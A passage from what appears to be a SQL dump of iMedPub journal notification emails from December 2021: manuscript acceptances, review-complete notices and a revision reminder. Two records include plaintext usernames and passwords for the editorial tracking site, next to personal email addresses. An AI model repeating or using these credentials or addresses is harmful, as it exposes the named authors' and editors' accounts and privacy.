#cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11031</b><br />\r\n            <br />\r\n            Article Title: <b>Hypoglycemia and Nocturnal Hypoglycemia; Diabetes Complications</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shabir</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nazishshabbir1@gmail.com',11031,'2021-12-04',48),(3986,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11808</b><br />\r\n            <br />\r\n            Article Title: <b>TITLE OF THE PAPER: A STUDY OF CORRELATION BETWEEN SERUM TRIGLYCERIDES AND SEVERITY OF CEREBROVASCULAR ACCIDENT</b><br />\r\n            <br />\r\n            Corresponding Author: <b>TANUKU V.S.R.RAGHU</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11808</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',11808,'2021-12-06',85),(3987,'<p>Ref.:  Ms. No. : <b>ipaom-21-11320</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Knowledge and Precautionary Measures of Healthcare Associated Infection among Patients in UNIOSUN Teaching Hospital, Osogbo. </b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Aremu</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-11320</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fiyinfoluwa</b><br />\r\npassword: <b>NqG8cqR6</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fiyinfoluwaa559@gmail.com',11320,'2021-12-07',85),(3988,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11115</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of the Performance of Logistic Management Information System in the Ethiopian Health Service Delivery Points </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AYALEW</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muluken815@gmail.com',11115,'2021-12-07',48),(3989,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11432</b><br />\r\n            <br />\r\n            Article Title: <b>Managing Violent Situations in the Health Care Environment with the aid of simulation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pekara</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pekara@vszdrav.cz',11432,'2021-12-07',48),(3991,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11739</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of a rapid in vitro diagnostic test device for detection of SARS-CoV-2 antigen in nasal swabs</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>PROST</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','michelprost.spiral@wanadoo.fr',11739,'2021-12-08',48),(3992,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11432</b><br />\r\n            <br />\r\n            Article Title: <b>Managing Violent Situations in the Health Care Environment with the aid of simulation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pekara</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pekara@vszdrav.cz',11432,'2021-12-08',48),(3993,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11084</b><br />\r\n            <br />\r\n            Article Title: <b>TAKOTSUBO SYNDROME: ON THE PURPOSE OF A CASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Viloria Sanchez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fbarriosc10@curnvirtual.edu.co',11084,'2021-12-08',48),(3994,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11566</b><br />\r\n            <br />\r\n            Article Title: <b>SOX4 gene contributes in induction of uterine adenomyosis </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mahdi Al-deresawi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11566</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11566,'2021-12-09',988),(3995,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11566</b><br />\r\n            <br />\r\n            Article Title: <b>SOX4 gene contributes in induction of uterine adenomyosis </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Al-deresawi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','malderesawi@uowasit.edu.iq',11566,'2021-12-09',988),(3996,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11618</b><br />\r\n            <br />\r\n            Article Title: <b>Weight bearing synovial joints and bioelectrical impedance plethysmography- a perceptive concerning knee joint</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rajendra Saxena</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11618</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11618,'2021-12-09',988),(3997,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11618</b><br />\r\n            <br />\r\n            Article Title: <b>Weight bearing synovial joints and bioelectrical impedance plethysmography- a perceptive concerning knee joint</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Saxena</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rksaxena1943@gmail.com',11618,'2021-12-09',988),(3998,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11084</b><br />\r\n            <br />\r\n            Article Title: <b>TAKOTSUBO SYNDROME: ON THE PURPOSE OF A CASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Viloria Sanchez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fbarriosc10@curnvirtual.edu.co',11084,'2021-12-09',48),(3999,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10873</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Health-Related Behaviors on Income in China: A Panel Data Analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Xie</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','1756314803@qq.com',10873,'2021-12-09',48),(4000,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11541</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of knowledge, attitude and preventive practice towards sexually transmitted infection among tewoderos preparatory school students of debere tabor town, north central Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>assefa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ayenassef@gmail.com',11541,'2021-12-09',48),(4002,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11541</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of knowledge, attitude and preventive practice towards sexually transmitted infection among tewoderos preparatory school students of debere tabor town, north central Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>assefa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ayenassef@gmail.com',11541,'2021-12-09',48),(4003,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-10781</b><br />\r\n            <br />\r\n            Article Title: <b>Case report: The role of immobilization and physical therapy in the treatment and prevention of Complex Regional Pain Syndrome</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. </strong><b>Rao</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ashark1@yahoo.com',10781,'2021-12-10',75),(4005,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11808</b><br />\r\n            <br />\r\n            Article Title: <b>TITLE OF THE PAPER: A STUDY OF CORRELATION BETWEEN SERUM TRIGLYCERIDES AND SEVERITY OF CEREBROVASCULAR ACCIDENT</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-11808</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','kararda@yahoo.com',11808,'2021-12-10',85),(4006,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11859</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of a Rapid in vitro Diagnostic Test Device for Detection of SARS-CoV-2 Antigen in Oral Fluid</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 